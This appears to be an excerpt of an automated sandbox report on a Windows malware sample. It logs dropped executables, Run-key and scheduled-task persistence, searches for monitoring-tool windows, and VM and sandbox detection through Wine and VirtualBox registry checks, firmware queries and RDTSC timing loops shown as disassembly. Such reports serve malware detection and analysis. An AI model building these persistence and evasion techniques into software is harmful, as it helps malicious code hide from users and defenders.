Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCFBAKKJDBK.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0f2c5625b4.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 425e60de02.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e88687d065.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCFBAKKJDBK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsCFBAKKJDBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0f2c5625b4.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0f2c5625b4.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e88687d065.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e88687d065.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 425e60de02.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 425e60de02.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133B257 second address: 133B263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A34D second address: 133A388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F256CC76B73h 0x0000000d pop edi 0x0000000e pushad 0x0000000f pushad 0x00000010 jbe 00007F256CC76B66h 0x00000016 jmp 00007F256CC76B75h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A388 second address: 133A3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jnl 00007F256CF66DD6h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 jp 00007F256CF66DD6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A4C8 second address: 133A4CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A4CD second address: 133A4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F256CF66DE4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A6B8 second address: 133A6CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F256CC76B66h 0x00000009 jl 00007F256CC76B66h 0x0000000f popad 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A807 second address: 133A812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F256CF66DD6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A812 second address: 133A817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133A817 second address: 133A81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133AAE7 second address: 133AB03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133AB03 second address: 133AB27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDBh 0x00000007 jmp 00007F256CF66DDFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133AB27 second address: 133AB31 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133AB31 second address: 133AB47 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F256CF66DE1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133AB47 second address: 133AB4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DB9A second address: 133DBA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DBA0 second address: 133DBA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DC5B second address: 133DC60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
